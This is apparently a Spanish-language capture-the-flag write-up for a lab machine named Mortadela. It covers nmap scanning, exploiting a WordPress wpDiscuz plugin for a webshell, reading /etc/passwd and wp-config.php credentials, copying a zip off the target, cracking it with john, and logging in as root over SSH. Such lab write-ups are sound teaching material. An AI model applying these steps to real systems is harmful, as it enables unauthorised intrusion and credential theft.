Ya vemos varios puertos abiertos, donde está expuesto el puerto 3306 de MySQL así que quizás a futuro tendremos que entrar a ella. Vamos a realizar un segundo escaneo nmap para ver las versiones de los servicios y lanzar algunos scripts básicos de reconocimiento:
Vamos a ver la aplicación web:
Vemos que es la página por defecto de Apache2, vamos a realizar fuzzing a ver si encontramos otras cosas más interesantes:
Vemos la carpeta wordpress vamos a entrar en ella:
Es normal que notéis que la aplicación web va lenta, ya que tiene un fallo de virtualhosting. Esto no afecta a la resolución de la máquina.
Vamos a emplear wpscan para tirar un enumeramiento a toda la aplicación Wordpress:
Vemos que encontró un plugin llamado wpdiscuz que tiene la versión 7.0.4 vamos a buscarlo por Google:
En mi caso encontré este repositorio con el exploit:
-u -> URL objetivo que en este caso es http://192.168.231.130/wordpress/
-p -> Un post donde se emplee este plugin, donde desconocemos de uno.
Vamos a buscar un post, viendo la web me percato de lo siguiente:
Si le damos click nos redirige a un post, lo encontramos!!
Al darle click nos redirigirá a http://192.168.0.108/.... tendremos que cambiar la IP por la correspondiente.
La web no carga, seguramente por el virtual hosting, vamos a usar el exploit!
Antes de explotarlo nos pondremos en escucha:
Ahora iniciamos el exploit:
Bien nos ha creado y subido una webshell, vamos a entrar a ese archivo:
Al darle click nos redirigirá a http://192.168.0.108/.... tendremos que cambiar la IP por la correspondiente.
Shell as root
Si leemos el /etc/passwd nos percataremos de un usuario:
Vemos el usuario mortadela pero no tenemos ningún tipo de credenciales. Vamos a buscar el archivo wp-config.php donde encontraremos las credenciales de la base de datos:
Encontramos que el usuario wordpress su credencial a la base de datos es lolalolitalola, pero si intentamos acceder no tendremos permisos. Vamos a seguir buscando por el sistema. Viendo el directorio /opt/ me encontré lo siguiente:
Vamos a abrir un servidor en python3 y bajarnos ese archivo .zip:
Vamos a intentar descomprimirlo:
Nos piden credenciales, vamos a ver si se reutilizan las de mysql:
Vemos que no, así que haremos fuerza bruta. Sacaremos el hash con zip2john:
Ahora con john haremos un ataque de fuerza bruta con la wordlist rockyou.txt:
John
Añadimos el parámetro --format=PKZIP ya que el hash si leemos sus primeras lineas nos indica que es de formato PKZIP.
Ya teniendo la contraseña vamos a descomprimirlo:
Vemos que tenemos 2 archivos de KeePass, vamos a abrir Database.kdbx:
Nos pide una Master Key, buscando en google me encontré el siguiente repositorio:
[..]
// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );
/** Database username */
define( 'DB_USER', 'wordpress' );
/** Database password */
define( 'DB_PASSWORD', 'lolalolitalola' );
/** Database hostname */
define( 'DB_HOST', 'localhost' );
/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );
/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
[...]
www-data@mortadela:/$ ls /opt
ls /opt
muyconfidencial.zip
www-data@mortadela:/opt$ python3 -m http.server 8083
python3 -m http.server 8083
Serving HTTP on 0.0.0.0 port 8083 (http://0.0.0.0:8083/) ...
┌──(pylon㉿kali)-[~/…/pylon/THL/Mortadela/content]
└─$ wget http://192.168.231.130:8083/muyconfidencial.zip
--2025-07-17 13:02:36-- http://192.168.231.130:8083/muyconfidencial.zip
Connecting to 192.168.231.130:8083... connected.
HTTP request sent, awaiting response... 200 OK
Length: 93052465 (89M) [application/zip]
Saving to: ‘muyconfidencial.zip’
muyconfidencial.zip 100%[=================================================================================================>] 88.74M 89.1MB/s in 1.0s
2025-07-17 13:02:37 (89.1 MB/s) - ‘muyconfidencial.zip’ saved [93052465/93052465]
┌──(pylon㉿kali)-[~/…/pylon/THL/Mortadela/content]
└─$ zip2john muyconfidencial.zip > hash
ver 1.0 efh 5455 efh 7875 muyconfidencial.zip/Database.kdbx PKZIP Encr: 2b chk, TS_chk, cmplen=2170, decmplen=2158, crc=DF3016BC ts=9D09 cs=9d09 type=0
ver 2.0 efh 5455 efh 7875 muyconfidencial.zip/KeePass.DMP PKZIP Encr: TS_chk, cmplen=93049937, decmplen=267519983, crc=52EC3DC7 ts=9D79 cs=9d79 type=8
NOTE: It is assumed that all files in each archive have the same password.
If that is not the case, the hash may be uncrackable. To avoid this, use
option -o to pick a file at a time.
┌──(pylon㉿kali)-[~/…/pylon/THL/Mortadela/content]
└─$ john -w=/usr/share/wordlists/rockyou.txt hash --format=PKZIP
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
pinkgirl (muyconfidencial.zip)
1g 0:00:00:00 DONE (2025-07-17 13:07) 100.0g/s 819200p/s 819200c/s 819200C/s 123456..whitetiger
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
┌──(pylon㉿kali)-[~]
└─$ ssh root@192.168.231.130
root@192.168.231.130's password:
Linux mortadela 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 (2024-02-01) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Jul 17 12:17:41 2025 from 192.168.231.128
root@mortadela:~# whoami; hostname -I
root
192.168.231.130